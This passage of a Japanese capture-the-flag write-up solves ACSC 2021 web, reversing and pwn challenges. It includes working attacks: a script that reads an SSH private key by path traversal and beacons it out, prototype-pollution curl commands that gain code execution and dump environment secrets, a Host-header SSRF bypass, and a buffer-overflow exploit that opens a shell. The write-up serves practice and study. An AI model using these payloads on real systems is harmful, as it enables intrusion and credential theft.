    mkdir -p /home/stypr/.ssh/ && ssh-keygen -q -t rsa -N '' -f /home/stypr/.ssh/id_rsa && \
    cp /home/stypr/.ssh/id_rsa.pub /home/stypr/.ssh/authorized_keys

# Challenge: get flag!
RUN touch /home/stypr/.hushlogin && \
    echo '#include <stdio.h>\r\n#include <stdlib.h>\r\nint main(){FILE *fp;char flag[1035];fp = popen("/usr/bin/curl -s http://genflag/flag", "r");if (fp == NULL) {printf("Error found. Please contact administrator.");exit(1);}while (fgets(flag, sizeof(flag), fp) != NULL) {printf("%s", flag);}pclose(fp);return 0;}' > /home/stypr/readflag.c && \
    gcc -o /home/stypr/readflag /home/stypr/readflag.c && \
    chmod +x /home/stypr/readflag && rm -rf /home/stypr/readflag.c

# Run dev version of harold.kim
RUN git clone https://github.com/stypr/harold.kim
RUN cd harold.kim && yarn install

CMD ["sh", "-c", "service ssh start && cd /srv/harold.kim/ && yarn build && yarn dev --port 80 2>&1 >/dev/null"]

Viteのissueを眺めていると、/@fs/etc/passwd のような感じでPath Traversalができるという脆弱性があるらしいことがわかった。試しにローカル環境で mobile-viewer でシェルを立ち上げて curl http://website/@fs//home/stypr/.ssh/id_rsa してみるとSSH用の秘密鍵が得られてしまった。

さて、これをChromiumで行うにはどうすればよいだろうか。16x16の小さなスクリーンショットではろくな情報が得られない。iframe で開かせてCSSposition: absolutetopleft などを設定して位置を調整し、1~2文字ずつ抽出する手が考えられる。が、1分に6回までしか抽出できない制約がありつらい。

website が返すヘッダをよく見ると、Access-Control-Allow-Origin: * が付いていた。これなら違うオリジンからも内容が取得できてしまう。スクリーンショットはいらなかった。次のようなHTMLを用意して mobile-viewerChromiumにアクセスさせる。すると、log.php秘密鍵がPOSTされた。

<script>
(async () => {
  const r = await fetch('http://website/@fs//home/stypr/.ssh/id_rsa', { mode: "cors" });
  const t = await r.text();
  navigator.sendBeacon('log.php', t);
})();
</script>

この秘密鍵を使って websiteSSHサーバにログインするとフラグが得られた。

$ chmod 600 id_rsa
$ ssh stypr@baby-developer.chal.acsc.asia -p2222 -i id_rsa
ACSC{weird_bugs_pwned_my_system_too_late_to_get_my_CVE}

Connection to baby-developer.chal.acsc.asia closed.
ACSC{weird_bugs_pwned_my_system_too_late_to_get_my_CVE}

[Web 330] Favorite Emojis (46 solves)

web (nginx) と apirenderer (tvanro/prerender-alpine) という3つのコンテナが動いているWebアプリケーションが与えられる。表からアクセスできるのは web だけで、これは以下のような設定で動いている。User-Agentbotっぽい文字列が含まれていれば renderer に見に行かせるらしい。

server {
    listen 80;
 
    root   /usr/share/nginx/html/;
    index  index.html;

    location / {
        try_files $uri @prerender;
    }
 
    location /api/ {
        proxy_pass http://api:8000/v1/;
    }
 
    location @prerender {
        proxy_set_header X-Prerender-Token YOUR_TOKEN;
        
        set $prerender 0;
        if ($http_user_agent ~* "googlebot|bingbot|yandex|baiduspider|twitterbot|facebookexternalhit|rogerbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest\/0\.|pinterestbot|slackbot|vkShare|W3C_Validator|whatsapp") {
            set $prerender 1;
        }
        if ($args ~ "_escaped_fragment_") {
            set $prerender 1;
        }
        if ($http_user_agent ~ "Prerender") {
            set $prerender 0;
        }
        if ($uri ~* "\.(js|css|xml|less|png|jpg|jpeg|gif|pdf|doc|txt|ico|rss|zip|mp3|rar|exe|wmv|doc|avi|ppt|mpg|mpeg|tif|wav|mov|psd|ai|xls|mp4|m4a|swf|dat|dmg|iso|flv|m4v|torrent|ttf|woff|svg|eot)") {
            set $prerender 0;
        }
 
        if ($prerender = 1) {
            rewrite .* /$scheme://$host$request_uri? break;
            proxy_pass http://renderer:3000;
        }
        if ($prerender = 0) {
            rewrite .* /index.html break;
        }
    }
}

Host ヘッダに example.com を入れてHTTPリクエストを送ると /$scheme://$host$request_uri? にそのまま展開され、renderer が取ってきた example.com のコンテンツを返す。フラグは以下からわかるように api/ が返すから、rendererapi:3000 にアクセスさせたい。一方で、nginxの設定のrewriteルールを見ればわかるようにポート番号は挿入されないから、Host: api:3000 のようなヘッダを送るだけではアクセスさせられない。

FLAG = os.getenv("flag") if os.getenv("flag") else "ACSC{THIS_IS_FAKE}"

app = Flask(__name__)
emojis = []


@app.route("/", methods=["GET"])
def root():
    return FLAG

色々試していると、api:3000 のように : をU+FF1Aに変えるだけでバイパスできた。

$ curl --path-as-is -H "User-Agent: googlebot" http://favorite-emojis.chal.acsc.asia:5000 -H "Host: api:8000"
<html><head></head><body>ACSC{sharks_are_always_hungry}</body></html>
ACSC{sharks_are_always_hungry}

[Web 370] Cowsay as a Service (33 solves)

名前を入力すると cowsay を使って牛に喋ってもらえる便利なアプリケーションが与えられる。文字の色も変えられるなど、機能が充実している。

f:id:st98:20210920030130p:plain

文字色の変更は以下のAPIを使って行われている。/setting/color{"value":"#ff0000"} のようなJSONを投げると、settings という変数から現在ログインしているユーザの設定を引っ張り出してきて、そこに書き込むらしい。ユーザ名のチェックはまったくないので、例えばユーザ名が __proto__ である場合には settings[ctx.state.user]Object.prototype を返し、さらに setting[ctx.params.name] = ctx.request.body.valueObject.prototype[name] = value 相当のことができる。Prototype Pollutionだ。

const settings = {};

// …

router.post('/setting/:name', (ctx, next) => {
  if (!settings[ctx.state.user]) {
    settings[ctx.state.user] = {};
  }
  const setting = settings[ctx.state.user];
  setting[ctx.params.name] = ctx.request.body.value;
  ctx.redirect('/cowsay');
});

使えるgadgetがないか調べていると、Kibanaで発見されたCVE-2019-7609の記事がヒットした。この記事では child_process.spawn から呼び出されている normalizeSpawnArguments 内に const env = options.env || process.env; という処理があるために、Object.prototype.env にオブジェクトを入れておけばOSコマンドの実行時に環境変数を操作できてしまうというgadgetが使われている。このWebアプリケーションでも child_process.spawnSynccowsay の呼び出しに使われているから利用できそうだ。

ほかにもこの関数にgadgetがないか探していると、options.shell を参照している処理が見つかった。Object.prototype.shell/usr/local/bin/node を、Object.prototype.env は先ほどの記事を参考に {"AAA":"(コード)","NODE_OPTIONS":"--require /proc/self/environ"} を入れればRCEに持ち込めるはずだ。

フラグは環境変数にある。child_process.spawnSync から呼び出されたNode.jsは環境変数が汚れてしまっているので、別のプロセスの /proc/…/environ を読んでしまえばよい。

$ curl 'http://hemwIdPEaGRqLSYT:FqPkMVJuBvsHypGf@cowsay-nodes.chal.acsc.asia:64128/setting/shell' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: username=__proto__' \
  --data-raw '{"value":"/usr/local/bin/node"}'
Redirecting to <a href="/cowsay">/cowsay</a>.

$ curl 'http://hemwIdPEaGRqLSYT:FqPkMVJuBvsHypGf@cowsay-nodes.chal.acsc.asia:64128/setting/env' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: username=__proto__' \
  --data-raw '{"value":{"AAA":"console.log(require(`fs`).readFileSync(`/proc/1/environ`).toString())//","NODE_OPTIONS":"--require /proc/self/environ"}}'
Redirecting to <a href="/cowsay">/cowsay</a>.

$ curl "http://hemwIdPEaGRqLSYT:FqPkMVJuBvsHypGf@cowsay-nodes.chal.acsc.asia:64128/cowsay?say=a" --output -
…
<pre style="color: #000000" class="cowsay">
NODE_VERSION=16.9.1HOSTNAME=38ee80afc568YARN_VERSION=1.22.5HOME=/home/nodeCS_USERNAME=hemwIdPEaGRqLSYTPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binCS_PASSWORD=FqPkMVJuBvsHypGfPWD=/usr/src/appFLAG=ACSC{(oo)<Moooooooo_B09DRWWCSX!}

</pre>
ACSC{(oo)<Moooooooo_B09DRWWCSX!}

[Rev 170] sugar (26 solves)

disk.imgOVMF.fd などのファイルが与えられた。指示通りQEMUで実行してみると、以下のようにフラグを入力せよと言われた。disk.img にはUEFIアプリケーションが含まれており、これを解析する問題らしい。

$ qemu-system-x86_64 -L . -bios OVMF.fd -drive format=raw,file=disk.img -net none -nographic
Input flag:

適当なバイナリエディタdisk.img を開き、MZ で検索するとUEFIアプリケーションのPEが抽出できる。IDA Freewareで静的解析していく。このPEに含まれる文字列を見ていると、Correct! やら Input flag: やら怪しいものがあった。どれも同じ関数から参照されており、おそらくそこでフラグがチェックされているのだろう。

f:id:st98:20210920021614p:plain

この関数では、まず入力を求めた後に、それが38文字であり、ACSC{} で囲まれていることを確認している。しばらくよくわからない処理が続くが、失敗するとAesInitAesCbcEncrypt といった文字列を含むエラーメッセージを吐くところからAESで何かしらを復号しているのだろうと推測できる。

f:id:st98:20210920022629p:plain

最後にユーザ入力の6文字目以降から32文字を切り取り、おそらくそれを16進数表記として解釈してデコードした上で var_450 と比較している。

f:id:st98:20210920022656p:plain

この var_460 に何が入るか確認したい。QEMUコマンドラインオプションに -s -S を加え、gdb で接続する。Wrong! と出力するか Correct! と出力するかが決まる jzブレークポイントを設定した上で continue させる。

$ ./qemu-system-x86_64 -L . -bios OVMF.fd -drive format=raw,file=disk.img -net none -nographic -s -S    
$ gdb
target remote localhost:1234
b *0x0000000006668627
c

$rbp-0x450 を見てみると、以下のようなバイト列が入っていた。これをhexエンコードして ACSC{} で囲めばフラグになる。

(gdb) x/16bx $rbp-0x450
0x7ea4500:      0x91    0xe3    0xde    0x70    0x5d    0xee    0x88    0x1d
0x7ea4508:      0xcb    0xa8    0x4e    0x84    0x0f    0xeb    0x0e    0x24
ACSC{91e3de705dee881dcba84e840feb0e24}

[Rev 220] Pickle Rick (23 solves)

chal.py という以下のPythonコードと、rick.pickle というファイルが与えられる。3.9以上のPythonで実行すると rick.pickle をunpickleするようだ。

# /usr/bin/env python3
import pickle
import sys

# Check version >= 3.9
if sys.version_info[0] != 3 or sys.version_info[1] < 9:
    print("Check your Python version!")
    exit(0)

# This function is truly amazing, so do not fix it!
def amazing_function(a, b, c=None):
    if type(b) == int:
        return a[b]
    else:
        return (
            f"CORRECT! The flag is: ACSC{{{c.decode('ascii')}}}" if a == b else "WRONG!"
        )


with open("rick.pickle", "rb") as f:
    pickle_rick = f.read()

rick_says = b"Wubba lubba dub-dub!!"  # What is the right input here?
assert type(rick_says) == bytes and len(rick_says) == 21
pickle.loads(pickle_rick)

とりあえず実行してみると以下のように出力された。chal.pyrick_says に格納した文字列が合っているかどうかチェックしてくれるらしい。

root@13346db59d34:~# python chal.py
...
Pickle Rick says:
b'Wubba lubba dub-dub!!'
The flag machine says:
WRONG!

rick.pickleを読む

まず rick.picklepickletools で逆アセンブルする。

import pickletools
with open('rick.pickle', 'rb') as f:
  s = f.read()
pickletools.dis(s)

アセンブルされたコードを見ていくと、最初にいくつかのメッセージを print している様子が確認できる。

    0: c    GLOBAL     'builtins print'
   16: T    BINSTRING  '\n...'
17122: \x85 TUPLE1
17123: R    REDUCE
17124: c    GLOBAL     'builtins print'
17140: S    STRING     'Pickle Rick says:'
17161: \x85 TUPLE1
17162: R    REDUCE
17163: c    GLOBAL     'builtins print'
17179: c    GLOBAL     '__main__ rick_says'
17199: \x85 TUPLE1
17200: R    REDUCE
17201: c    GLOBAL     'builtins print'
17217: S    STRING     'The flag machine says:'
17243: \x85 TUPLE1
17244: R    REDUCE

その後に複雑なタプルの定義が続く。

17245: J    BININT     115
17250: \x85 TUPLE1
17251: J    BININT     99
17256: \x85 TUPLE1
17257: \x86 TUPLE2
17258: J    BININT     97
17263: \x85 TUPLE1
17264: J    BININT     162
17269: \x85 TUPLE1
...
19032: \x86 TUPLE2
19033: \x86 TUPLE2
19034: \x86 TUPLE2
19035: \x86 TUPLE2
19036: \x94 MEMOIZE    (as 0)

その後 type(amazing_function)type(getattr(amazing_function, '__code__')) によって functioncode を取り出している。それらを利用して searchmix という謎の関数を定義している。

19038: c    GLOBAL     'builtins type'
19053: c    GLOBAL     '__main__ amazing_function'
19080: \x85 TUPLE1
19081: R    REDUCE
19082: c    GLOBAL     'builtins type'
19097: c    GLOBAL     'builtins getattr'
19115: c    GLOBAL     '__main__ amazing_function'
19142: S    STRING     '__code__'
19154: \x86 TUPLE2
19155: R    REDUCE
19156: \x85 TUPLE1
19157: R    REDUCE
19158: (    MARK
19159: J        BININT     2
19164: J        BININT     0
19169: J        BININT     0
19174: J        BININT     5
19179: J        BININT     6
19184: J        BININT     67
19189: B        BINBYTES   b'd\x01}\x02zB|\x00\\\x02}\x03}\x04|\x01d\x02\x16\x00|\x02k\x02r0|\x04}\x00|\x01d\x02\x1c\x00}\x01d\x03|\x02\x18\x00}\x02n\x14|\x03}\x00|\x01d\x02\x1c\x00}\x01d\x03|\x02\x18\x00}\x02W\x00q\x04\x01\x00\x01\x00\x01\x00|\x00d\x01\x19\x00\x06\x00Y\x00S\x000\x00q\x04d\x00S\x00'
19292: (        MARK
...
19417: R    REDUCE
19418: }    EMPTY_DICT
19419: \x86 TUPLE2
19420: R    REDUCE
19421: \x94 MEMOIZE    (as 1)

rick_says を取り出して mix した後に、tuple(search((複雑なタプル), x) for x in mix(rick_says)) のような感じでその要素をひとつずつ search に投げて、その結果をタプルとして取得している。

19873: c    GLOBAL     '__main__ rick_says'
19893: \x85 TUPLE1
19894: R    REDUCE
19895: \x94 MEMOIZE    (as 2)
19896: 0    POP
19897: c    GLOBAL     'builtins print'
19913: c    GLOBAL     '__main__ amazing_function'
19940: (    MARK
19941: g        GET        1
19944: g        GET        0
19947: c        GLOBAL     '__main__ amazing_function'
19974: g        GET        2
19977: J        BININT     0
19982: \x86     TUPLE2
19983: R        REDUCE
19984: \x86     TUPLE2
19985: R        REDUCE
...
20886: t        TUPLE      (MARK at 19940)

そのタプルと (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227) が一致していればOKなようだ。

20887: (    MARK
20888: J        BININT     53
20893: J        BININT     158
20898: J        BININT     33
20903: J        BININT     115
20908: J        BININT     5
20913: J        BININT     17
20918: J        BININT     103
20923: J        BININT     3
20928: J        BININT     67
20933: J        BININT     240
20938: J        BININT     39
20943: J        BININT     27
20948: J        BININT     19
20953: J        BININT     68
20958: J        BININT     81
20963: J        BININT     107
20968: J        BININT     245
20973: J        BININT     82
20978: J        BININT     130
20983: J        BININT     159
20988: J        BININT     227
20993: t        TUPLE      (MARK at 20887)
20994: c    GLOBAL     '__main__ rick_says'
21014: \x87 TUPLE3
21015: R    REDUCE
21016: \x85 TUPLE1
21017: R    REDUCE
21018: .    STOP

searchとmixを読む

searchmixバイトコードしか与えられていない。uncompyle6デコンパイルしてみようとしたが、どうやら対応していない命令が含まれているらしくできない。Pythonの公式ドキュメントの命令一覧を見ながら手でデコンパイルする。以下のようなPythonコードを使ってすぐにバイトコードを逆アセンブルした結果が見られるようにしておくと便利。

import dis

def search(a, b):
  return None

dis.dis(search)

c = pickle.loads(s[19038:19418] + b'.')code オブジェクトを作成する処理だけ切り抜いてunpickleしてやれば、c.co_varnamesc.co_consts から変数名や定数などの情報も得られる。これらの情報をもとに根性でデコンパイルすると以下のようになった。

def mix(a):
  ln = a.__len__()
  arr = []
  i = 0
  while i < ln:
    s, j = (0, 0)
    while j < ln:
      s += (j + 1) * a[(i + j) % ln]
      j += 1
    s %= 257
    arr.append(s)
    i += 1
  return arr

def search(a, b):
  c = 0
  while True:
    try:
      a0, a1 = a
      if b % 2 == c:
        a = a1
        b //= 2
        c = 1 - c
      else:
        a = a0
        b //= 2
        c = 1 - c
    except:
      return a[0]

あとはソルバを書いて実行するだけ。

from z3 import *

def amazing_function(a, b, c=None):
  if type(b) == int:
    return a[b]
  else:
    return (
      f"CORRECT! The flag is: ACSC{{{c.decode('ascii')}}}" if a == b else "WRONG!"
    )

def mix(a):
  ln = a.__len__()
  arr = []
  i = 0
  while i < ln:
    s, j = (0, 0)
    while j < ln:
      s += (j + 1) * a[(i + j) % ln]
      j += 1
    s %= 257
    arr.append(s)
    i += 1
  return arr

xx = (((((((((115,), (99,)), ((97,), (162,))), (((81,), (225,)), ((215,), (72,)))), ((((111,), (229,)), ((64,), (155,))), (((212,), (66,)), ((95,), (200,))))), (((((177,), (45,)), ((206,), (18,))), (((140,), (47,)), ((122,), (19,)))), ((((186,), (123,)), ((91,), (94,))), (((26,), (104,)), ((119,), (88,)))))), ((((((44,), (82,)), ((58,), (139,))), (((193,), (101,)), ((209,), (213,)))), ((((65,), (16,)), ((164,), (124,))), (((150,), (149,)), ((132,), (1,))))), (((((79,), (236,)), ((131,), (196,))), (((113,), (194,)), ((185,), (4,)))), ((((107,), (36,)), ((181,), (218,))), (((120,), (40,)), ((142,), (11,))))))), (((((((183,), (129,)), ((51,), (125,))), (((6,), (222,)), ((13,), (161,)))), ((((141,), (109,)), ((100,), (175,))), (((153,), (252,)), ((117,), (127,))))), (((((54,), (156,)), ((62,), (167,))), (((160,), (198,)), ((152,), (211,)))), ((((178,), (21,)), ((73,), (214,))), (((253,), (135,)), ((105,), (190,)))))), ((((((85,), (12,)), ((243,), (34,))), (((137,), (233,)), ((128,), (228,)))), ((((151,), (8,)), ((247,), (92,))), (((60,), (174,)), ((138,), (114,))))), (((((130,), (169,)), ((15,), (103,))), (((230,), (106,)), ((158,), (57,)))), ((((76,), (5,)), ((84,), (210,))), (((32,), (39,)), ((165,), (87,)))))))), ((((((((184,), (237,)), ((28,), (207,))), (((75,), (172,)), ((176,), (231,)))), ((((37,), (195,)), ((232,), (182,))), (((25,), (201,)), ((188,), (61,))))), (((((163,), (251,)), ((227,), (2,))), (((46,), (35,)), ((71,), (250,)))), ((((246,), (38,)), ((136,), (255,))), (((199,), (29,)), ((20,), (242,)))))), ((((((238,), (126,)), ((17,), (179,))), (((148,), (220,)), ((240,), (86,)))), ((((59,), (145,)), ((80,), (189,))), (((224,), (170,)), ((24,), (143,))))), (((((0,), (10,)), ((166,), (77,))), (((41,), (203,)), ((31,), (90,)))), ((((239,), (191,)), ((197,), (112,))), (((159,), (118,)), ((157,), (244,))))))), (((((((226,), (216,)), ((43,), (49,))), (((70,), (93,)), ((50,), (78,)))), ((((7,), (208,)), ((96,), (202,))), (((89,), (108,)), ((168,), (235,))))), (((((3,), (254,)), ((146,), (55,))), (((9,), (180,)), ((241,), (121,)))), ((((98,), (110,)), ((68,), (83,))), (((63,), (42,)), ((69,), (52,)))))), ((((((30,), (221,)), ((27,), (248,))), (((33,), (147,)), ((205,), (14,)))), ((((56,), (116,)), ((173,), (192,))), (((53,), (74,)), ((234,), (223,))))), (((((154,), (67,)), ((187,), (217,))), (((23,), (134,)), ((171,), (102,)))), ((((22,), (204,)), ((249,), (245,))), (((219,), (144,)), ((48,), (133,)))))))))
def search(a, b):
  c = 0
  while True:
    try:
      a0, a1 = a
      if b % 2 == c:
        a = a1
        b //= 2
        c = 1 - c
      else:
        a = a0
        b //= 2
        c = 1 - c
    except:
      return a[0]

flag = [Int(f'x_{i}') for i in range(21)]
solver = Solver()
for c in flag:
  solver.add(0x20 <= c, c < 0x7f)

rick_says = mix(flag)

tmp = []
target = (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227)
for x in target:
  for y in range(256):
    r = search(xx, y)
    if r == x:
      tmp.append(y)
      break

print(tmp)

for c, d in zip(tmp, rick_says):
  solver.add(c == d)

c = solver.check()
print(c)
m = solver.model()
res = ''
for c in flag:
  res += chr(m[c].as_long())
print(res)

実行してしばらく待つとフラグが得られた。

$ python solve.py
...
YEAH!I'm_pickle-RICK!
ACSC{YEAH!I'm_pickle-RICK!}

[Rev 270] encoder (23 solves)

encoder というELFと、それによって暗号化されたらしき flag.jpg.enc というファイルが与えられる。以下の実行結果から推測できるように、どのように暗号化されるかは毎秒変わる。

$ echo AAAABBBBCCCCAAAA > test.txt
$ ./encoder test.txt; date; xxd test.txt.enc
Sun Sep 19 13:48:06 UTC 2021
00000000: 1c08 0381 2070 040e 0081 2010 0402 4080  .... p.... ...@.
00000010: 0814 8102 5020 0a04 81c0 1038 0207 e040  ....P .....8...@
00000020: 1001      
$ ./encoder test.txt; date; xxd test.txt.enc
Sun Sep 19 13:48:10 UTC 2021
00000000: 0004 8000 1000 0200 c040 1808 0301 2060  .........@.... `
00000010: 0408 0081 2010 0402 4000 0800 0100 0020  .... ...@...... 
00000020: 0c0d                                     ..
$ ./encoder test.txt; date; xxd test.txt.enc
Sun Sep 19 13:48:10 UTC 2021
00000000: 0004 8000 1000 0200 c040 1808 0301 2060  .........@.... `
00000010: 0408 0081 2010 0402 4000 0800 0100 0020  .... ...@...... 
00000020: 0c0d                                     ..

まずIDA Freewareで静的解析を試みたが、main 関数は以下のように mprotect を呼び出した後に無効な命令を実行してしまうようだ。

f:id:st98:20210919225033p:plain

よくバイナリを見ると、.init_array セクションでいくつもアドレスが登録されている。2つ目の関数を見てみると、以下のように sigaction4 というシグナルを受信した際に別の関数が呼び出されるように設定されていることがわかる。4SIGILL だ。main の最後に無効な命令が置かれていたのは、この関数を呼び出させるためだろう。

f:id:st98:20210919225615p:plain

ほかにも色々な解析妨害が施されており面倒だ。別の方法でバイナリの挙動を探る。

試しに rand を差し替えてみる。まず以下のCコードを gcc -shared -fPIC rand.c -o rand.soコンパイルする。NYAN=123 LD_PRELOAD=./rand.so ./encoder a.txt を何度も実行しても出力された a.txt.enc の内容は変わらない。暗号化のアルゴリズムrand に依存しているようだ。

#include <stdlib.h>
int rand(void) {
  return atoi(getenv("NYAN"));
}

ltrace で関数の呼び出しを見てみると、rand は一度しか呼び出されていないことがわかる。.init_array に登録されていた関数内のアレだろう。あの関数では rand() % 255 と剰余が取られていた。255通りなら総当たりできる。それで flag.jpg.enc が暗号化されたときの rand の返り値が特定できないか試してみる。

適当なJPEGを用意し、最初の数バイトを切り出す。続いて、for x in {0..254}; do NYAN=$x LD_PRELOAD=./rand.so ./encoder dummy.jpg; cp -p dummy.jpg.enc dust/$x.enc; done で255通りの暗号化を試す。以下のPythonスクリプトでそれらのファイルと flag.jpg.enc の最初の数バイトを比較してやると、flag.jpg.enc が暗号化されたときの rand() % 255 は80であるとわかった。

import glob
with open('flag.jpg.enc', 'rb') as f:
  s = f.read()
for fn in glob.glob('tmp/*'):
  with open(fn, 'rb') as f:
    t = f.read()
  if t == s[:len(t)]:
    print(fn)
$ python3 check.py 
tmp/80.enc

これを使って、なんとか復号できないだろうか。暗号化のアルゴリズムを探っていく。同じ文字が続くテキストファイルの暗号化を試していると、以下のようにファイルは1バイトずつ暗号化されて、1バイトにつき2バイトが出力されていることがわかる。どのように暗号化されるかはその文字の位置だけが影響し、直前の文字などは影響しない。また、それも16バイトでループする。

$ echo "AAAAAAAAAAAAAAAAAAAAAAAABAAAAA" > a.txt; NYAN=80 LD_PRELOAD=./rand.so ./encoder a.txt; xxd a.txt.enc
00000000: 181d a303 7460 0e8c 81d1 303a 4607 e8c0  ....t`....0:F...
00000010: 1d18 03a3 6074 8c0e d181 3a30 0746 c0e8  ....`t....:0.F..
00000020: 181d a303 7460 0e8c 81d1 303a 4607 e8c0  ....t`....0:F...
00000030: 1d14 03a3 6074 8c0e d181 3a30 0505       ....`t....:0..
$ echo "BAAAAAAAAAAAAAAAAAAAAAAABAAAAA" > a.txt; NYAN=80 LD_PRELOAD=./rand.so ./encoder a.txt; xxd a.txt.enc
00000000: 141d a303 7460 0e8c 81d1 303a 4607 e8c0  ....t`....0:F...
00000010: 1d18 03a3 6074 8c0e d181 3a30 0746 c0e8  ....`t....:0.F..
00000020: 181d a303 7460 0e8c 81d1 303a 4607 e8c0  ....t`....0:F...
00000030: 1d14 03a3 6074 8c0e d181 3a30 0505       ....`t....:0..

つまり、0から255までの値についてそれぞれ16通りの暗号化を試してテーブルを作成すれば、flag.jpg.enc の元のファイルが得られるはずだ。Pythonスクリプトを書く。

import os

payload = b''
for x in range(256):
  payload += bytes([x]) * 16
with open('tmp.bin', 'wb') as f:
  f.write(payload)
os.system('NYAN=80 LD_PRELOAD=./rand.so ./encoder tmp.bin')

table = {}
with open('tmp.bin.enc', 'rb') as f:
  for x in range(16):
    table[x] = {}
    for y in range(256):
      f.seek(32 * y + 2 * x)
      table[x][f.read(2)] = y

with open('flag.jpg.enc', 'rb') as f:
  i = 0
  res = b''
  while True:
    print(i)
    x = f.read(2)
    if x == b'':
      break
    res += bytes([table[i % 16][x]])
    i += 1

with open('flag.jpg', 'wb') as f:
  f.write(res)

実行すると flag.jpg.enc の元のファイルが取得でき、フラグが得られた。

f:id:st98:20210919232108j:plain

ACSC{it is too easy to recover this stuff, huh?}

[Rev 360] Tnzr (10 solves)

Windowsの実行ファイルが与えられる。実行すると次のような15x15のビンゴカードが表示される。適当に操作していると、WASDでカーソルの移動が、スペースキーでカーソルが指しているマスをうずまき → 目 → 何もなしに変えられることがわかる。

f:id:st98:20210919215546p:plain

Nで次のビンゴカードに移動し、Cですべてのビンゴカードが正しい配置になっているかまとめてチェックされる。Cキーでのチェック時にどこかが間違っていれば以下のようにWRONGと表示される。ちなみに、ビンゴカードは全部で35枚ある。

f:id:st98:20210919224049p:plain

IDA Freewareで解析するとSDLが使われていることがわかる。WinMain からメインループを追ったり、キーボードの状態を取得する関数である SDL_GetKeyboardState のxrefsからWASDが押されたかどうかのチェックなどをしている関数(0x1400015E0)を特定していくと、ビンゴカードのデータが格納されているらしきアドレス(0x1400172D0)も特定できる。

f:id:st98:20210919222232p:plain

その関数の最後で呼び出されている関数も見てみると、以下のようにビンゴカードが1行ずつ謎の比較がされておりかなり怪しい。ビンゴカードが正しい配置になっているか確認する関数だろう。

f:id:st98:20210919222551p:plain

雑にPythonで書き直して、Z3Pyでソルバを作る。

import struct
from PIL import Image
from z3 import *

def u32(x):
  return struct.unpack('<I', x)[0]

with open('distfiles/Tnzr.exe', 'rb') as f:
  table = io.BytesIO(f.read())

def get_addr(x):
  table.seek(x)
  return u32(table.read(4))

def get_row(row, i):
  return row[i + 13]

im = Image.new('L', (15 * 35, 15))
pix = im.load()

s1 = 0xd650 - (0x3c30 + 195 * 4)
for i in range(0, 31500, 900):
  print(i)
  solver = Solver()

  card = [[Int(f'card_{y}_{x}') for x in range(15)] for y in range(15)]
  for y in range(15):
    for x in range(15):
      solver.add(Or(card[y][x] == 0, card[y][x] == 1, card[y][x] == 2))

  s2 = (0x3c30 + 195 * 4) + i
  s3 = (0x3c30 + 195 * 4) + i
  v5 = s1
  card_ = iter(card)
  for k in range(15, 0, -1):
    row = next(card_)
    v8 = get_row(row, 1)
    v9 = s2
    v10 = get_row(row, 0)
    v12 = get_row(row, -1)
    v13 = get_row(row, -2)
    v14 = get_row(row, -3)
    v15 = get_row(row, -4)
    for l in range(15, 0, -1):
      v16 = get_addr(v9 + v5) - \
            (
              v10 * get_addr(v9) + \
              get_row(row, -8) * get_addr(v9 - 120 * 4) + \
              get_row(row, -9) * get_addr(v9 - 135 * 4) + \
              get_row(row, -10) * get_addr(v9 - 150 * 4) + \
              get_row(row, -11) * get_addr(v9 - 165 * 4) + \
              get_row(row, -12) * get_addr(v9 - 180 * 4) + \
              get_row(row, -13) * get_addr(v9 - 195 * 4) + \
              v8 * get_addr(v9 + 15 * 4) + \
              v12 * get_addr(v9 - 15 * 4) + \
              v13 * get_addr(v9 - 30 * 4) + \
              v14 * get_addr(v9 - 45 * 4) + \
              v15 * get_addr(v9 - 60 * 4) + \
              get_row(row, -5) * get_addr(v9 - 75 * 4) + \
              get_row(row, -6) * get_addr(v9 - 90 * 4) + \
              get_row(row, -7) * get_addr(v9 - 105 * 4)
            )
      solver.add(v16 == 0)
      v9 += 4
    s2 = s3
    v5 += 60
  s1 = 0xd650 - (0x3c30 + 195 * 4)

  c = solver.check()
  model = solver.model()
  for y in range(15):
    for x in range(15):
      res = model[card[y][x]].as_long()
      pix[x + 15 * (i // 900), y] = [255, 128, 0][res]

im.save('result.png')

これを実行すると以下のような画像が出力され、フラグが得られた。

f:id:st98:20210919223928p:plain

ACSC{WELCOM3_T0_TH3_ACSC_W3_N33D_U}

[Pwn 100] filtered (168 solves)

以下のようなコードが与えられている。なんとかして win という関数に飛ばしたい。main では0x100文字より長い文字列を読み込ませないようチェックがされているが、length は符号付きなので -1 を入力するとバイパスできてしまう。これでバッファオーバーフローができる。

#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* Call this function! */
void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
  exit(0);
}

/* Print `msg` */
void print(const char *msg) {
  write(1, msg, strlen(msg));
}

/* Print `msg` and read `size` bytes into `buf` */
void readline(const char *msg, char *buf, size_t size) {
  char c;
  print(msg);
  for (size_t i = 0; i < size; i++) {
    if (read(0, &c, 1) <= 0) {
      print("I/O Error\n");
      exit(1);
    } else if (c == '\n') {
      buf[i] = '\0';
      break;
    } else {
      buf[i] = c;
    }
  }
}

/* Print `msg` and read an integer value */
int readint(const char *msg) {
  char buf[0x10];
  readline(msg, buf, 0x10);
  return atoi(buf);
}

/* Entry point! */
int main() {
  int length;
  char buf[0x100];

  /* Read and check length */
  length = readint("Size: ");
  if (length > 0x100) {
    print("Buffer overflow detected!\n");
    exit(1);
  }

  /* Read data */
  readline("Data: ", buf, length);
  print("Bye!\n");

  return 0;
}

あとは雑にリターンアドレスを win に書き換えてしまう。

$ cat s.py
from pwn import *
s = remote('167.99.78.201', 9001)
print(s.recv(1024))
s.sendline(b'-1')
print(s.recv(1024))
s.send(b'A' * (280) + p64(0x4011d6) * 100)
s.interactive()
$ python3 s.py 
[+] Opening connection to 167.99.78.201 on port 9001: Done
b'Size: '
b'Data: '
[*] Switching to interactive mode
$ ls
Bye!
$ ls
filtered
flag-08d995360bfb36072f5b6aedcc801cd7.txt
$ cat flag*
ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}

[Pwn 200] histogram (38 solves)

